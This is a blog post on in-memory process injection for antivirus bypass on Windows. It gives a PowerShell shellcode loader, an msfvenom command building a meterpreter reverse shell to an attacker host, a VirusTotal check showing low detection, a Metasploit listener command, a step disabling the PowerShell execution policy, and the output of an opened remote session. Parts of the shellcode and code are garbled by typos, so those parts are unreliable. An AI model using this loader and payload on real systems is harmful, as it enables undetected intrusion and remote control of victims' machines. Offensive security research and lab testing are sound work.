Simple In-Memory Injection

just_a_noob
5 min readSep 19, 2021

--

Recently, i got into learning how c#, c++ work with win32 API in windows and how powershell interacts with win32 API . That’s when i learned about process based memory injections and Disk based injections which are used to put malicious operations into an executable in the windows environment and attempt to do a basic AV (Anti-Virus) bypass and get control over the system remotely. Most of the times disk based techniques may not work these days but memory based injections may do work at times to bypass AV. It all depends on the knowledge base (KB or KDD) that the AV provider uses to identify and isolate a malicious code inside winPE envrionment before execution of a program. In short , an all in one AV bypass technique is incredibly difficult to achieve . In below pic you can assume Commodo lab analysis as the Knowledge Base of AV.

Introduction

AV bypasses generally work around the concepts related to disk storage based exploitation and memory based exploitation.The improvisations and enhancements in the AV, EDR technologies that use a myriad of techniques to pick up and spot malware with signature based and behavioral based techniques have made it further difficult to put a malware into say an executable file although in memory attacks at times can bypass detections sometimes. However, the disk based attacks are caught no matter the complexity of the malware these days. It is essential to know why these developments work in thwarting a storage based or a disk based attacks.
Firstly, use of obfuscators and packers will make it obvious to an anti malware or anti virus tool using signature based or behavioral based detections to gauge the intention of the code containing such stuff.
Secondly, the signatures used by the modern firewalls/defenders/anti-virus tools are well managed, exclusive and documented which does not make it easy to write a file into a vicitim disk with a malicious signature straight away as different providers of AV use different techniques as part of their Knowledge Base hence making it tedious to bypass these detections.

Methodology

One of the ways around these hurdles is using a technique called PE injection or in memory process injection for attempting to bypass provided modern EDRs are not in store. This injection deals with injecting malicious code into the RAM or cache memory. It injects the payload into a valid PE (more on it here: https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/winpe-intro) being used by the memory process by obtaining a HANDLE (More on it here: https://docs.microsoft.com/en-us/windows/win32/sysinfo/handles-and-objects) of a process running and requesting for a memory allocation. This is done by using Windows API’s virtualAllocEx function of the memoryapi.h header as part of win32 Programming.

The flow would be something like this:
1. Obtaining a process id of a process with an address space.
2. Get a HANDLE to the process with needed permissions using openprocess function (this is responsible for obtaining a valid HANDLE).
3. Request and Allocate memory to that process with virtualAllocEx
4. Once allocated, copy the payload to the newly allocated memory using WriteProcessMemory.
5. Finally call the LoadLibrary function to execute with the help of CreateRemoteThread function.

The above flow can be implemented using powershell or c++ and will require three functions namely: 1. CreateThread → creates a new thread for process 2. VirtualAlloc → to request memory allocation 3. memset → to set values of a memory block.

Sample psh (powershell) script to achieve this flow:

$pos= '[DllImport("kernel32.d11")] 
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwpysize, uint flAllocationType, uint flProtect);[DllImport("kerne132.d11")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackpysize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$malFunc = Add-Type -memberDefinition $pos -Name 11Win32" -namespace Win32Functions -p assthru;
[Byte []];
[Byte[]] $pyld = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0xl4,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x.26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xcl,0xcf,0xd,0xl,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0xl0,0x8b,0x4a,0x3c,0x8b,0x4c,0xll,0x78,0xe3,0x48,0xl,0xdl,0x51,0x8b,0x59,0x20,0xl,0xd3,0x8b,0x49,0xl8, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0xl, 0xd6, 0x31, 0xff, 0.xac, 0xcl,0xcf,0xd,0xl,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0xl,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0xlc,0xl,0xd3,0x8b,0x4,0x8b,0xl,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0xl2,0xeb,0x8d,0x5d,0x68,0x33 ,0x32 ,0x0 ,0x.0, 0x68, 0.x77, 0x73, 0x32 ,0x5f 0x7,0xff,0xd5,x90,0xl,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x68,0xac,0x10,0x74,0x8b,0x68,0x2,0x0,0xll,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0xl0,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x06,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x0x24,0xe9,0x71,0xff,0xff,0xff,0xl,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5;
$pysize= 0x1000;
if ($pyld.Length -gt 0x1000) {$pysize = $pyld.Length};
$z = $malFunc::VirtualAlloc(0,$pysize,0x3000,0x40);
for ($i=0;$i -le ($pyld.Length-1);$i++) {$malFunc::memset([IntPtr]($z.Tolnt32()+$i), $pyld
[$i], 1)} ;
$malFunc::CreateThread(0,0,$z,0,0,0);for (;;) { Start-sleep 60 };

In the above POC script you can generate your own reverse_tcp handler shell code using msfvenom or netcat and passing it as a value in a hex shellcode form to the variable “ $pyld ” in the script above for establishing a connection to your attacker server once the executable executes. This can be done by using a msfvenom command:

parrot@Userman:-$msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.178.1 LPORT=4444 -f psh -o payld.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 410 bytes
Final size of psh file: 3255 bytes
Saved as: payld.ps1

Now before we set up a listener we need to check the chances of our script being picked up by anti virus. A simple check on Virus Total or Avira checks can guide if your script is capable of a bypass. We save the psh script as payld.ps1 or payld.ps and upload it to virus total to get a brief idea over the detection capabilities of our script:

Well only 2 engines detected it. As mentioned earlier every AV provider have their own way of detecting based upon their analysis and Knowledge base.The more effective and advanced the better the ratio of catching a complex malicious script.

Now, set a Listener after creating the payload at your server so that the script triggers a connection back to you:

parrot@Userman:-$msfconsole -x "use multi/handler;set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.178.1; set lport 4444; set ExitOnSession false; exploit -j"

At the victim system enable unrestricted Execution policy using command: C:\Users\Userman> Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

and then execute the powershell script to avoid any powershell based restrictions . Windows Defender may or may not pick up such content depending on the level of obfuscation you can do to perform a bypass . It may require further tinkering if EDRs are enabled as well. If the Defender does not pick up you should receive a shell connection back to your attacker server:

[*] Meterpreter session l opened (10.10.178.1:4444 -> 10.14.10.22:54556) 
meterpreter > whoami
Windows\Userman

Conclusion:

An all in one AV bypass script/code/technique is incredibly difficult to achieve . It will all depend upon system configurations , AV, AM , EDR tools that are in store . So the only way to get around these is to research further , test it out in a lab environment and carry out trails against the defences in place.

References:

  1. https://www.viva64.com/en/b/0360/ , https://raw.githubusercontent.com/revsic/CodeInjection/master/MemoryScanInjector.cpp
  2. https://www.deepinstinct.com/2019/09/15/malware-evasion-techniques-part-1-process-injection-and-manipulation/
  3. https://www.ired.team/offensive-security/code-injection-process-injection/process-injection
  4. https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf
  5. https://www.coalfire.com/the-coalfire-blog/may-2018/powershell-in-memory-injection-using-certutil-exe, https://github.com/stephenfewer/ReflectiveDLLInjection
  6. https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1

--

--

just_a_noob
just_a_noob

Written by just_a_noob

Prakash Ashok, Security Lead at WeSecureApp, CTF player, Blockchain developer and Security Researcher.

No responses yet